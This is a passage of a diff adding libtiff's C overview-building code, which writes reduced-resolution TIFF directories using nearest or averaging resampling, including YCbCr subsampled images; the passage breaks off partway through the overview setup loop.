+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
+ * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
+ * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+ * DEALINGS IN THE SOFTWARE.
+ ******************************************************************************
+ */
+
+/* TODO: update notes in header above */
+
+#include <stdio.h>
+#include <assert.h>
+#include <stdlib.h>
+#include <string.h>
+
+#include "tiffio.h"
+#include "tif_ovrcache.h"
+
+#ifndef FALSE
+#  define FALSE 0
+#  define TRUE 1
+#endif
+
+#ifndef MAX
+#  define MIN(a,b)      ((a<b) ? a : b)
+#  define MAX(a,b)      ((a>b) ? a : b)
+#endif
+
+void TIFFBuildOverviews( TIFF *, int, int *, int, const char *,
+                         int (*)(double,void*), void * );
+
+/************************************************************************/
+/*                         TIFF_WriteOverview()                         */
+/*                                                                      */
+/*      Create a new directory, without any image data for an overview. */
+/*      Returns offset of newly created overview directory, but the     */
+/*      current directory is reset to be the one in used when this      */
+/*      function is called.                                             */
+/************************************************************************/
+
+uint32 TIFF_WriteOverview( TIFF *hTIFF, int nXSize, int nYSize,
+                           int nBitsPerPixel, int nPlanarConfig, int nSamples, 
+                           int nBlockXSize, int nBlockYSize,
+                           int bTiled, int nCompressFlag, int nPhotometric,
+                           int nSampleFormat,
+                           unsigned short *panRed,
+                           unsigned short *panGreen,
+                           unsigned short *panBlue,
+                           int bUseSubIFDs,
+                           int nHorSubsampling, int nVerSubsampling )
+
+{
+    uint32	nBaseDirOffset;
+    uint32	nOffset;
+
+    nBaseDirOffset = TIFFCurrentDirOffset( hTIFF );
+
+    TIFFCreateDirectory( hTIFF );
+
+/* -------------------------------------------------------------------- */
+/*      Setup TIFF fields.                                              */
+/* -------------------------------------------------------------------- */
+    TIFFSetField( hTIFF, TIFFTAG_IMAGEWIDTH, nXSize );
+    TIFFSetField( hTIFF, TIFFTAG_IMAGELENGTH, nYSize );
+    if( nSamples == 1 )
+        TIFFSetField( hTIFF, TIFFTAG_PLANARCONFIG, PLANARCONFIG_CONTIG );
+    else
+        TIFFSetField( hTIFF, TIFFTAG_PLANARCONFIG, nPlanarConfig );
+
+    TIFFSetField( hTIFF, TIFFTAG_BITSPERSAMPLE, nBitsPerPixel );
+    TIFFSetField( hTIFF, TIFFTAG_SAMPLESPERPIXEL, nSamples );
+    TIFFSetField( hTIFF, TIFFTAG_COMPRESSION, nCompressFlag );
+    TIFFSetField( hTIFF, TIFFTAG_PHOTOMETRIC, nPhotometric );
+    TIFFSetField( hTIFF, TIFFTAG_SAMPLEFORMAT, nSampleFormat );
+
+    if( bTiled )
+    {
+        TIFFSetField( hTIFF, TIFFTAG_TILEWIDTH, nBlockXSize );
+        TIFFSetField( hTIFF, TIFFTAG_TILELENGTH, nBlockYSize );
+    }
+    else
+        TIFFSetField( hTIFF, TIFFTAG_ROWSPERSTRIP, nBlockYSize );
+
+    TIFFSetField( hTIFF, TIFFTAG_SUBFILETYPE, FILETYPE_REDUCEDIMAGE );
+
+    if( nPhotometric == PHOTOMETRIC_YCBCR || nPhotometric == PHOTOMETRIC_ITULAB )
+    {
+        TIFFSetField( hTIFF, TIFFTAG_YCBCRSUBSAMPLING, nHorSubsampling, nVerSubsampling);
+        /* TODO: also write YCbCrPositioning and YCbCrCoefficients tag identical to source IFD */
+    }
+    /* TODO: add command-line parameter for selecting jpeg compression quality
+     * that gets ignored when compression isn't jpeg */
+
+/* -------------------------------------------------------------------- */
+/*	Write color table if one is present.				*/
+/* -------------------------------------------------------------------- */
+    if( panRed != NULL )
+    {
+        TIFFSetField( hTIFF, TIFFTAG_COLORMAP, panRed, panGreen, panBlue );
+    }
+
+/* -------------------------------------------------------------------- */
+/*      Write directory, and return byte offset.                        */
+/* -------------------------------------------------------------------- */
+    if( TIFFWriteCheck( hTIFF, bTiled, "TIFFBuildOverviews" ) == 0 )
+        return 0;
+
+    TIFFWriteDirectory( hTIFF );
+    TIFFSetDirectory( hTIFF, (tdir_t) (TIFFNumberOfDirectories(hTIFF)-1) );
+
+    nOffset = TIFFCurrentDirOffset( hTIFF );
+
+    TIFFSetSubDirectory( hTIFF, nBaseDirOffset );
+
+    return nOffset;
+}
+
+/************************************************************************/
+/*                       TIFF_GetSourceSamples()                        */
+/************************************************************************/
+
+static void 
+TIFF_GetSourceSamples( double * padfSamples, unsigned char *pabySrc, 
+                       int nPixelBytes, int nSampleFormat, 
+                       int nXSize, int nYSize, 
+                       int nPixelOffset, int nLineOffset )
+{
+    int  iXOff, iYOff, iSample;
+
+    iSample = 0;
+
+    for( iYOff = 0; iYOff < nYSize; iYOff++ )
+    {
+        for( iXOff = 0; iXOff < nXSize; iXOff++ )
+        {
+            unsigned char *pabyData;
+
+            pabyData = pabySrc + iYOff * nLineOffset + iXOff * nPixelOffset;
+
+            if( nSampleFormat == SAMPLEFORMAT_UINT && nPixelBytes == 1 )
+            {
+                padfSamples[iSample++] = *pabyData;
+            }
+            else if( nSampleFormat == SAMPLEFORMAT_UINT && nPixelBytes == 2 )
+            {
+                padfSamples[iSample++] = ((uint16 *) pabyData)[0];
+            }
+            else if( nSampleFormat == SAMPLEFORMAT_UINT && nPixelBytes == 4 )
+            {
+                padfSamples[iSample++] = ((uint32 *) pabyData)[0];
+            }
+            else if( nSampleFormat == SAMPLEFORMAT_INT && nPixelBytes == 2 )
+            {
+                padfSamples[iSample++] = ((int16 *) pabyData)[0];
+            }
+            else if( nSampleFormat == SAMPLEFORMAT_INT && nPixelBytes == 32 )
+            {
+                padfSamples[iSample++] = ((int32 *) pabyData)[0];
+            }
+            else if( nSampleFormat == SAMPLEFORMAT_IEEEFP && nPixelBytes == 4 )
+            {
+                padfSamples[iSample++] = ((float *) pabyData)[0];
+            }
+            else if( nSampleFormat == SAMPLEFORMAT_IEEEFP && nPixelBytes == 8 )
+            {
+                padfSamples[iSample++] = ((double *) pabyData)[0];
+            }
+        }
+    }
+} 
+
+/************************************************************************/
+/*                           TIFF_SetSample()                           */
+/************************************************************************/
+
+static void 
+TIFF_SetSample( unsigned char * pabyData, int nPixelBytes, int nSampleFormat, 
+                double dfValue )
+
+{
+    if( nSampleFormat == SAMPLEFORMAT_UINT && nPixelBytes == 1 )
+    {
+        *pabyData = (unsigned char) MAX(0,MIN(255,dfValue));
+    }
+    else if( nSampleFormat == SAMPLEFORMAT_UINT && nPixelBytes == 2 )
+    {
+        *((uint16 *)pabyData) = (uint16) MAX(0,MIN(65535,dfValue));
+    }
+    else if( nSampleFormat == SAMPLEFORMAT_UINT && nPixelBytes == 4 )
+    {
+        *((uint32 *)pabyData) = (uint32) dfValue;
+    }
+    else if( nSampleFormat == SAMPLEFORMAT_INT && nPixelBytes == 2 )
+    {
+        *((int16 *)pabyData) = (int16) MAX(-32768,MIN(32767,dfValue));
+    }
+    else if( nSampleFormat == SAMPLEFORMAT_INT && nPixelBytes == 32 )
+    {
+        *((int32 *)pabyData) = (int32) dfValue;
+    }
+    else if( nSampleFormat == SAMPLEFORMAT_IEEEFP && nPixelBytes == 4 )
+    {
+        *((float *)pabyData) = (float) dfValue;
+    }
+    else if( nSampleFormat == SAMPLEFORMAT_IEEEFP && nPixelBytes == 8 )
+    {
+        *((double *)pabyData) = dfValue;
+    }
+}
+
+/************************************************************************/
+/*                          TIFF_DownSample()                           */
+/*                                                                      */
+/*      Down sample a tile of full res data into a window of a tile     */
+/*      of downsampled data.                                            */
+/************************************************************************/
+
+static
+void TIFF_DownSample( unsigned char *pabySrcTile,
+                      int nBlockXSize, int nBlockYSize,
+                      int nPixelSkewBits, int nBitsPerPixel,
+                      unsigned char * pabyOTile,
+                      int nOBlockXSize, int nOBlockYSize,
+                      int nTXOff, int nTYOff, int nOMult,
+                      int nSampleFormat, const char * pszResampling )
+
+{
+    int		i, j, k, nPixelBytes = (nBitsPerPixel) / 8;
+    int		nPixelGroupBytes = (nBitsPerPixel+nPixelSkewBits)/8;
+    unsigned char *pabySrc, *pabyDst;
+    double      *padfSamples;
+
+    assert( nBitsPerPixel >= 8 );
+
+    padfSamples = (double *) malloc(sizeof(double) * nOMult * nOMult);
+
+/* ==================================================================== */
+/*      Loop over scanline chunks to process, establishing where the    */
+/*      data is going.                                                  */
+/* ==================================================================== */
+    for( j = 0; j*nOMult < nBlockYSize; j++ )
+    {
+        if( j + nTYOff >= nOBlockYSize )
+            break;
+
+        pabyDst = pabyOTile + ((j+nTYOff)*nOBlockXSize + nTXOff)
+            * nPixelBytes * nPixelGroupBytes;
+
+/* -------------------------------------------------------------------- */
+/*      Handler nearest resampling ... we don't even care about the     */
+/*      data type, we just do a bytewise copy.                          */
+/* -------------------------------------------------------------------- */
+        if( strncmp(pszResampling,"nearest",4) == 0
+            || strncmp(pszResampling,"NEAR",4) == 0 )
+        {
+            pabySrc = pabySrcTile + j*nOMult*nBlockXSize * nPixelGroupBytes;
+
+            for( i = 0; i*nOMult < nBlockXSize; i++ )
+            {
+                if( i + nTXOff >= nOBlockXSize )
+                    break;
+            
+                /*
+                 * For now use simple subsampling, from the top left corner
+                 * of the source block of pixels.
+                 */
+
+                for( k = 0; k < nPixelBytes; k++ )
+                    pabyDst[k] = pabySrc[k];
+
+                pabyDst += nPixelBytes * nPixelGroupBytes;
+                pabySrc += nOMult * nPixelGroupBytes;
+            }
+        }
+
+/* -------------------------------------------------------------------- */
+/*      Handle the case of averaging.  For this we also have to         */
+/*      handle each sample format we are concerned with.                */
+/* -------------------------------------------------------------------- */
+        else if( strncmp(pszResampling,"averag",6) == 0
+                 || strncmp(pszResampling,"AVERAG",6) == 0 )
+        {
+            pabySrc = pabySrcTile + j*nOMult*nBlockXSize * nPixelGroupBytes;
+
+            for( i = 0; i*nOMult < nBlockXSize; i++ )
+            {
+                double   dfTotal;
+                int      iSample;
+                int      nXSize, nYSize;
+
+                if( i + nTXOff >= nOBlockXSize )
+                    break;
+
+                nXSize = MIN(nOMult,nBlockXSize-i);
+                nYSize = MIN(nOMult,nBlockYSize-j);
+
+                TIFF_GetSourceSamples( padfSamples, pabySrc,
+                                       nPixelBytes, nSampleFormat,
+                                       nXSize, nYSize,
+                                       nPixelGroupBytes,
+                                       nPixelGroupBytes * nBlockXSize );
+
+                dfTotal = 0;
+                for( iSample = 0; iSample < nXSize*nYSize; iSample++ )
+                {
+                    dfTotal += padfSamples[iSample];
+                }
+
+                TIFF_SetSample( pabyDst, nPixelBytes, nSampleFormat, 
+                                dfTotal / (nXSize*nYSize) );
+
+                pabySrc += nOMult * nPixelGroupBytes;
+                pabyDst += nPixelBytes;
+            }
+        }
+    }
+
+    free( padfSamples );
+}
+
+static
+void TIFF_DownSample_Subsampled( unsigned char *pabySrcTile, int nSample,
+                                 int nBlockXSize, int nBlockYSize,
+                                 unsigned char * pabyOTile,
+                                 int nOBlockXSize, int nOBlockYSize,
+                                 int nTXOff, int nTYOff, int nOMult,
+                                 const char * pszResampling,
+                                 int nHorSubsampling, int nVerSubsampling )
+{
+    /* TODO: test with variety of subsampling values, and incovinient tile/strip sizes */
+	int nSampleBlockSize;
+    int nSourceSampleRowSize;
+    int nDestSampleRowSize;
+    int nSourceX, nSourceY;
+    int nSourceXSec, nSourceYSec;
+    int nSourceXSecEnd, nSourceYSecEnd;
+    int nDestX, nDestY;
+    int nSampleOffsetInSampleBlock;
+    unsigned char * pSourceBase;
+    unsigned char * pDestBase;
+    int nSourceBaseInc;
+    unsigned char * pSourceBaseEnd;
+    unsigned int nCummulator;
+    unsigned int nCummulatorCount;
+
+    nSampleBlockSize = nHorSubsampling * nVerSubsampling + 2;
+    nSourceSampleRowSize = ( ( nBlockXSize + nHorSubsampling - 1 ) / nHorSubsampling ) * nSampleBlockSize;
+    nDestSampleRowSize = ( ( nOBlockXSize + nHorSubsampling - 1 ) / nHorSubsampling ) * nSampleBlockSize;
+
+    if( strncmp(pszResampling,"nearest",4) == 0
+            || strncmp(pszResampling,"NEAR",4) == 0 )
+	{
+    	if( nSample == 0 )
+        {
+#ifdef NOOPTIMIZATION
+        	/*
+             * This version is not optimized, and should not be used except as documentation and as more clear
+             * starting point for bug fixes (hope not) and extension
+             */
+             for( nSourceY = 0, nDestY = nTYOff; nSourceY < nBlockYSize; nSourceY += nOMult, nDestY ++)
+             {
+                for( nSourceX = 0, nDestX = nTXOff; nSourceX < nBlockXSize; nSourceX += nOMult, nDestX ++)
+                {
+                    * ( pabyOTile + ( nDestY / nVerSubsampling ) * nDestSampleRowSize
+                                  + ( nDestY % nVerSubsampling ) * nHorSubsampling
+                                  + ( nDestX / nHorSubsampling ) * nSampleBlockSize
+                                  + ( nDestX % nHorSubsampling ) ) =
+                        * ( pabySrcTile + ( nSourceY / nVerSubsampling ) * nSourceSampleRowSize
+                                        + ( nSourceY % nVerSubsampling ) * nHorSubsampling
+                                        + ( nSourceX / nHorSubsampling ) * nSampleBlockSize
+                                        + ( nSourceX % nHorSubsampling ) );
+                }
+            }
+#else
+            for( nSourceY = 0, nDestY = nTYOff; nSourceY < nBlockYSize; nSourceY += nOMult, nDestY ++)
+            {
+                pSourceBase = pabySrcTile + ( nSourceY / nVerSubsampling ) * nSourceSampleRowSize
+                                          + ( nSourceY % nVerSubsampling ) * nHorSubsampling;
+                pDestBase = pabyOTile + ( nDestY / nVerSubsampling ) * nDestSampleRowSize
+                                      + ( nDestY % nVerSubsampling ) * nHorSubsampling;
+                for( nSourceX = 0, nDestX = nTXOff; nSourceX < nBlockXSize; nSourceX += nOMult, nDestX ++)
+                {
+                    * ( pDestBase + ( nDestX / nHorSubsampling ) * nSampleBlockSize
+                                  + ( nDestX % nHorSubsampling ) ) =
+                        * ( pSourceBase + ( nSourceX / nHorSubsampling ) * nSampleBlockSize
+                                        + ( nSourceX % nHorSubsampling ) );
+                }
+            }
+#endif
+        }
+        else
+        {
+#ifdef NOOPTIMIZATION
+        	/*
+             * This version is not optimized, and should not be used except as documentation and as more clear
+             * starting point for bug fixes (hope not) and extension
+             */
+            nSampleOffsetInSampleBlock = nHorSubsampling * nVerSubsampling + nSample - 1;
+            for( nSourceY = 0, nDestY = ( nTYOff / nVerSubsampling ); nSourceY < ( nBlockYSize / nVerSubsampling );
+                                nSourceY += nOMult, nDestY ++)
+            {
+            	for( nSourceX = 0, nDestX = ( nTXOff / nHorSubsampling ); nSourceX < ( nBlockXSize / nHorSubsampling );
+                	                 nSourceX += nOMult, nDestX ++)
+                {
+                    * ( pabyOTile + nDestY * nDestSampleRowSize
+                                  + nDestX * nSampleBlockSize
+                                  + nSampleOffsetInSampleBlock ) =
+                    	* ( pabySrcTile + nSourceY * nSourceSampleRowSize
+                                        + nSourceX * nSampleBlockSize
+                                        + nSampleOffsetInSampleBlock );
+                }
+            }
+#else
+            nSampleOffsetInSampleBlock = nHorSubsampling * nVerSubsampling + nSample - 1;
+            nSourceBaseInc = nOMult * nSampleBlockSize;
+            for( nSourceY = 0, nDestY = ( nTYOff / nVerSubsampling ); nSourceY < ( nBlockYSize / nVerSubsampling);
+                                nSourceY += nOMult, nDestY ++)
+            {
+                pSourceBase = pabySrcTile + nSourceY * nSourceSampleRowSize
+                                          + nSampleOffsetInSampleBlock;
+                pSourceBaseEnd = pSourceBase + ( ( ( nBlockXSize / nHorSubsampling ) + nOMult - 1 ) / nOMult ) * nSourceBaseInc;
+                pDestBase = pabyOTile + nDestY * nDestSampleRowSize
+                                      + ( nTXOff / nHorSubsampling ) * nSampleBlockSize
+                                      + nSampleOffsetInSampleBlock;
+                for( ; pSourceBase < pSourceBaseEnd; pSourceBase += nSourceBaseInc, pDestBase += nSampleBlockSize)
+                    * pDestBase = * pSourceBase;
+            }
+#endif
+        }
+    }
+    else if( strncmp(pszResampling,"averag",6) == 0
+                 || strncmp(pszResampling,"AVERAG",6) == 0 )
+    {
+    	if( nSample == 0 )
+        {
+            for( nSourceY = 0, nDestY = nTYOff; nSourceY < nBlockYSize; nSourceY += nOMult, nDestY ++)
+            {
+                for( nSourceX = 0, nDestX = nTXOff; nSourceX < nBlockXSize; nSourceX += nOMult, nDestX ++)
+                {
+                    nSourceXSecEnd = nSourceX + nOMult;
+                    if( nSourceXSecEnd > nBlockXSize )
+                        nSourceXSecEnd = nBlockXSize;
+                    nSourceYSecEnd = nSourceY + nOMult;
+                    if( nSourceYSecEnd > nBlockYSize )
+                        nSourceYSecEnd = nBlockYSize;
+                    nCummulator = 0;
+                    for( nSourceYSec = nSourceY; nSourceYSec < nSourceYSecEnd; nSourceYSec ++)
+                    {
+                        for( nSourceXSec = nSourceX; nSourceXSec < nSourceXSecEnd; nSourceXSec ++)
+                        {
+                            nCummulator += * ( pabySrcTile + ( nSourceYSec / nVerSubsampling ) * nSourceSampleRowSize
+                                                           + ( nSourceYSec % nVerSubsampling ) * nHorSubsampling
+                                                           + ( nSourceXSec / nHorSubsampling ) * nSampleBlockSize
+                                                           + ( nSourceXSec % nHorSubsampling ) );
+                        }
+                    }
+                    nCummulatorCount = ( nSourceXSecEnd - nSourceX ) * ( nSourceYSecEnd - nSourceY );
+                    * ( pabyOTile + ( nDestY / nVerSubsampling ) * nDestSampleRowSize
+                                  + ( nDestY % nVerSubsampling ) * nHorSubsampling
+                                  + ( nDestX / nHorSubsampling ) * nSampleBlockSize
+                                  + ( nDestX % nHorSubsampling ) ) =
+                        ( ( nCummulator + ( nCummulatorCount >> 1 ) ) / nCummulatorCount );
+                }
+            }
+        }
+        else
+        {
+            nSampleOffsetInSampleBlock = nHorSubsampling * nVerSubsampling + nSample - 1;
+            for( nSourceY = 0, nDestY = ( nTYOff / nVerSubsampling ); nSourceY < ( nBlockYSize / nVerSubsampling );
+                             nSourceY += nOMult, nDestY ++)
+            {
+                for( nSourceX = 0, nDestX = ( nTXOff / nHorSubsampling ); nSourceX < ( nBlockXSize / nHorSubsampling );
+                                 nSourceX += nOMult, nDestX ++)
+                {
+                    nSourceXSecEnd = nSourceX + nOMult;
+                    if( nSourceXSecEnd > ( nBlockXSize / nHorSubsampling ) )
+                        nSourceXSecEnd = ( nBlockXSize / nHorSubsampling );
+                    nSourceYSecEnd = nSourceY + nOMult;
+                    if( nSourceYSecEnd > ( nBlockYSize / nVerSubsampling ) )
+                        nSourceYSecEnd = ( nBlockYSize / nVerSubsampling );
+                    nCummulator = 0;
+                    for( nSourceYSec = nSourceY; nSourceYSec < nSourceYSecEnd; nSourceYSec ++)
+                    {
+                        for( nSourceXSec = nSourceX; nSourceXSec < nSourceXSecEnd; nSourceXSec ++)
+                        {
+                            nCummulator += * ( pabySrcTile + nSourceYSec * nSourceSampleRowSize
+                                                           + nSourceXSec * nSampleBlockSize
+                                                           + nSampleOffsetInSampleBlock );
+                        }
+                    }
+                    nCummulatorCount = ( nSourceXSecEnd - nSourceX ) * ( nSourceYSecEnd - nSourceY );
+                    * ( pabyOTile + nDestY * nDestSampleRowSize
+                                  + nDestX * nSampleBlockSize
+                                  + nSampleOffsetInSampleBlock ) =
+                        ( ( nCummulator + ( nCummulatorCount >> 1 ) ) / nCummulatorCount );
+                }
+            }
+        }
+    }
+}
+
+/************************************************************************/
+/*                      TIFF_ProcessFullResBlock()                      */
+/*                                                                      */
+/*      Process one block of full res data, downsampling into each      */
+/*      of the overviews.                                               */
+/************************************************************************/
+
+void TIFF_ProcessFullResBlock( TIFF *hTIFF, int nPlanarConfig,
+                               int bSubsampled, int nHorSubsampling, int nVerSubsampling,
+                               int nOverviews, int * panOvList,
+                               int nBitsPerPixel,
+                               int nSamples, TIFFOvrCache ** papoRawBIs,
+                               int nSXOff, int nSYOff,
+                               unsigned char *pabySrcTile,
+                               int nBlockXSize, int nBlockYSize,
+                               int nSampleFormat, const char * pszResampling )
+    
+{
+    int		iOverview, iSample;
+
+    for( iSample = 0; iSample < nSamples; iSample++ )
+    {
+        /*
+         * We have to read a tile/strip for each sample for
+         * PLANARCONFIG_SEPARATE.  Otherwise, we just read all the samples
+         * at once when handling the first sample.
+         */
+        if( nPlanarConfig == PLANARCONFIG_SEPARATE || iSample == 0 )
+        {
+            if( TIFFIsTiled(hTIFF) )
+            {
+                TIFFReadEncodedTile( hTIFF,
+                                     TIFFComputeTile(hTIFF, nSXOff, nSYOff,
+                                                     0, (tsample_t)iSample ),
+                                     pabySrcTile,
+                                     TIFFTileSize(hTIFF));
+            }
+            else
+            {
+                TIFFReadEncodedStrip( hTIFF,
+                                      TIFFComputeStrip(hTIFF, nSYOff,
+                                                       (tsample_t) iSample),
+                                      pabySrcTile,
+                                      TIFFStripSize(hTIFF) );
+            }
+        }
+
+        /*        
+         * Loop over destination overview layers
+         */
+        for( iOverview = 0; iOverview < nOverviews; iOverview++ )
+        {
+            TIFFOvrCache *poRBI = papoRawBIs[iOverview];
+            unsigned char *pabyOTile;
+            int	nTXOff, nTYOff, nOXOff, nOYOff, nOMult;
+            int	nOBlockXSize = poRBI->nBlockXSize;
+            int	nOBlockYSize = poRBI->nBlockYSize;
+            int	nSkewBits, nSampleByteOffset; 
+
+            /*
+             * Fetch the destination overview tile
+             */
+            nOMult = panOvList[iOverview];
+            nOXOff = (nSXOff/nOMult) / nOBlockXSize;
+            nOYOff = (nSYOff/nOMult) / nOBlockYSize;
+
+            if( bSubsampled )
+            {
+                pabyOTile = TIFFGetOvrBlock_Subsampled( poRBI, nOXOff, nOYOff );
+
+                /*
+                 * Establish the offset into this tile at which we should
+                 * start placing data.
+                 */
+                nTXOff = (nSXOff - nOXOff*nOMult*nOBlockXSize) / nOMult;
+                nTYOff = (nSYOff - nOYOff*nOMult*nOBlockYSize) / nOMult;
+
+
+#ifdef DBMALLOC
+                malloc_chain_check( 1 );
+#endif
+                TIFF_DownSample_Subsampled( pabySrcTile, iSample,
+                                            nBlockXSize, nBlockYSize,
+                                            pabyOTile,
+                                            poRBI->nBlockXSize, poRBI->nBlockYSize,
+                                            nTXOff, nTYOff,
+                                            nOMult, pszResampling,
+                                            nHorSubsampling, nVerSubsampling );
+#ifdef DBMALLOC
+                malloc_chain_check( 1 );
+#endif
+
+            }
+            else
+            {
+
+                pabyOTile = TIFFGetOvrBlock( poRBI, nOXOff, nOYOff, iSample );
+
+                /*
+                 * Establish the offset into this tile at which we should
+                 * start placing data.
+                 */
+                nTXOff = (nSXOff - nOXOff*nOMult*nOBlockXSize) / nOMult;
+                nTYOff = (nSYOff - nOYOff*nOMult*nOBlockYSize) / nOMult;
+
+                /*
+                 * Figure out the skew (extra space between ``our samples'') and
+                 * the byte offset to the first sample.
+                 */
+                assert( (nBitsPerPixel % 8) == 0 );
+                if( nPlanarConfig == PLANARCONFIG_SEPARATE )
+                {
+                    nSkewBits = 0;
+                    nSampleByteOffset = 0;
+                }
+                else
+                {
+                    nSkewBits = nBitsPerPixel * (nSamples-1);
+                    nSampleByteOffset = (nBitsPerPixel/8) * iSample;
+                }
+
+                /*
+                 * Perform the downsampling.
+                 */
+#ifdef DBMALLOC
+                malloc_chain_check( 1 );
+#endif
+                TIFF_DownSample( pabySrcTile + nSampleByteOffset,
+                               nBlockXSize, nBlockYSize,
+                               nSkewBits, nBitsPerPixel, pabyOTile,
+                               poRBI->nBlockXSize, poRBI->nBlockYSize,
+                               nTXOff, nTYOff,
+                               nOMult, nSampleFormat, pszResampling );
+#ifdef DBMALLOC
+                malloc_chain_check( 1 );
+#endif
+            }
+        }
+    }
+}
+
+/************************************************************************/
+/*                        TIFF_BuildOverviews()                         */
+/*                                                                      */
+/*      Build the requested list of overviews.  Overviews are           */
+/*      maintained in a bunch of temporary files and then these are     */
+/*      written back to the TIFF file.  Only one pass through the       */
+/*      source TIFF file is made for any number of output               */
+/*      overviews.                                                      */
+/************************************************************************/
+
+void TIFFBuildOverviews( TIFF *hTIFF, int nOverviews, int * panOvList,
+                         int bUseSubIFDs, const char *pszResampleMethod,
+                         int (*pfnProgress)( double, void * ),
+                         void * pProgressData )
+
+{
+    TIFFOvrCache	**papoRawBIs;
+    uint32		nXSize, nYSize, nBlockXSize, nBlockYSize;
+    uint16		nBitsPerPixel, nPhotometric, nCompressFlag, nSamples,
+        nPlanarConfig, nSampleFormat;
+    int         bSubsampled;
+    uint16      nHorSubsampling, nVerSubsampling;
+    int			bTiled, nSXOff, nSYOff, i;
+    unsigned char	*pabySrcTile;
+    uint16		*panRedMap, *panGreenMap, *panBlueMap;
+    TIFFErrorHandler    pfnWarning;
+
+/* -------------------------------------------------------------------- */
+/*      Get the base raster size.                                       */
+/* -------------------------------------------------------------------- */
+    TIFFGetField( hTIFF, TIFFTAG_IMAGEWIDTH, &nXSize );
+    TIFFGetField( hTIFF, TIFFTAG_IMAGELENGTH, &nYSize );
+
+    TIFFGetField( hTIFF, TIFFTAG_BITSPERSAMPLE, &nBitsPerPixel );
+    /* TODO: nBitsPerPixel seems misnomer and may need renaming to nBitsPerSample */
+    TIFFGetField( hTIFF, TIFFTAG_SAMPLESPERPIXEL, &nSamples );
+    TIFFGetFieldDefaulted( hTIFF, TIFFTAG_PLANARCONFIG, &nPlanarConfig );
+
+    TIFFGetFieldDefaulted( hTIFF, TIFFTAG_PHOTOMETRIC, &nPhotometric );
+    TIFFGetFieldDefaulted( hTIFF, TIFFTAG_COMPRESSION, &nCompressFlag );
+    TIFFGetFieldDefaulted( hTIFF, TIFFTAG_SAMPLEFORMAT, &nSampleFormat );
+
+    if( nPhotometric == PHOTOMETRIC_YCBCR || nPhotometric == PHOTOMETRIC_ITULAB )
+    {
+        if( nBitsPerPixel != 8 || nSamples != 3 || nPlanarConfig != PLANARCONFIG_CONTIG ||
+            nSampleFormat != SAMPLEFORMAT_UINT)
+        {
+            /* TODO: use of TIFFError is inconsistent with use of fprintf in addtiffo.c, sort out */
+            TIFFErrorExt( TIFFClientdata(hTIFF), "TIFFBuildOverviews",
+                          "File `%s' has an unsupported subsampling configuration.\n",
+                          TIFFFileName(hTIFF) );
+            /* If you need support for this particular flavor, please contact either
+             * Frank Warmerdam warmerdam@pobox.com
+             * Joris Van Damme info@awaresystems.be
+             */
+            return;
+        }
+        bSubsampled = 1;
+        TIFFGetField( hTIFF, TIFFTAG_YCBCRSUBSAMPLING, &nHorSubsampling, &nVerSubsampling );
+        /* TODO: find out if maybe TIFFGetFieldDefaulted is better choice for YCbCrSubsampling tag */
+    }
+    else
+    {
+        if( nBitsPerPixel < 8 )
+        {
+            /* TODO: use of TIFFError is inconsistent with use of fprintf in addtiffo.c, sort out */
+            TIFFErrorExt( TIFFClientdata(hTIFF), "TIFFBuildOverviews",
+                          "File `%s' has samples of %d bits per sample.  Sample\n"
+                          "sizes of less than 8 bits per sample are not supported.\n",
+                          TIFFFileName(hTIFF), nBitsPerPixel );
+            return;
+        }
+        bSubsampled = 0;
+        nHorSubsampling = 1;
+        nVerSubsampling = 1;
+    }
+
+/* -------------------------------------------------------------------- */
+/*      Turn off warnings to avoid alot of repeated warnings while      */
+/*      rereading directories.                                          */
+/* -------------------------------------------------------------------- */
+    pfnWarning = TIFFSetWarningHandler( NULL );
+
+/* -------------------------------------------------------------------- */
+/*      Get the base raster block size.                                 */
+/* -------------------------------------------------------------------- */
+    if( TIFFGetField( hTIFF, TIFFTAG_ROWSPERSTRIP, &(nBlockYSize) ) )
+    {
+        nBlockXSize = nXSize;
+        bTiled = FALSE;
+    }
+    else
+    {
+        TIFFGetField( hTIFF, TIFFTAG_TILEWIDTH, &nBlockXSize );
+        TIFFGetField( hTIFF, TIFFTAG_TILELENGTH, &nBlockYSize );
+        bTiled = TRUE;
+    }
+
+/* -------------------------------------------------------------------- */
+/*	Capture the pallette if there is one.				*/
+/* -------------------------------------------------------------------- */
+    if( TIFFGetField( hTIFF, TIFFTAG_COLORMAP,
+                      &panRedMap, &panGreenMap, &panBlueMap ) )
+    {
+        uint16		*panRed2, *panGreen2, *panBlue2;
+        int             nColorCount = 1 << nBitsPerPixel;
+
+        panRed2 = (uint16 *) _TIFFmalloc(2*nColorCount);
+        panGreen2 = (uint16 *) _TIFFmalloc(2*nColorCount);
+        panBlue2 = (uint16 *) _TIFFmalloc(2*nColorCount);
+
+        memcpy( panRed2, panRedMap, 2 * nColorCount );
+        memcpy( panGreen2, panGreenMap, 2 * nColorCount );
+        memcpy( panBlue2, panBlueMap, 2 * nColorCount );
+
+        panRedMap = panRed2;
+        panGreenMap = panGreen2;
+        panBlueMap = panBlue2;
+    }
+    else
+    {
+        panRedMap = panGreenMap = panBlueMap = NULL;
+    }
+
+/* -------------------------------------------------------------------- */
+/*      Initialize overviews.                                           */
+/* -------------------------------------------------------------------- */
+    papoRawBIs = (TIFFOvrCache **) _TIFFmalloc(nOverviews*sizeof(void*));
+
+    for( i = 0; i < nOverviews; i++ )
+    {
+        int	nOXSize, nOYSize, nOBlockXSize, nOBlockYSize;
+        uint32  nDirOffset;
+
+        nOXSize = (nXSize + panOvList[i] - 1) / panOvList[i];
+        nOYSize = (nYSize + panOvList[i] - 1) / panOvList[i];
+
+        nOBlockXSize = MIN((int)nBlockXSize,nOXSize);
+        nOBlockYSize = MIN((int)nBlockYSize,nOYSize);
+
+        if( bTiled )
+        {
+            if( (nOBlockXSize % 16) != 0 )
+                nOBlockXSize = nOBlockXSize + 16 - (nOBlockXSize % 16);
+
+            if( (nOBlockYSize % 16) != 0 )
+                nOBlockYSize = nOBlockYSize + 16 - (nOBlockYSize % 16);
+        }
+
+        nDirOffset = TIFF_WriteOverview( hTIFF, nOXSize, nOYSize,
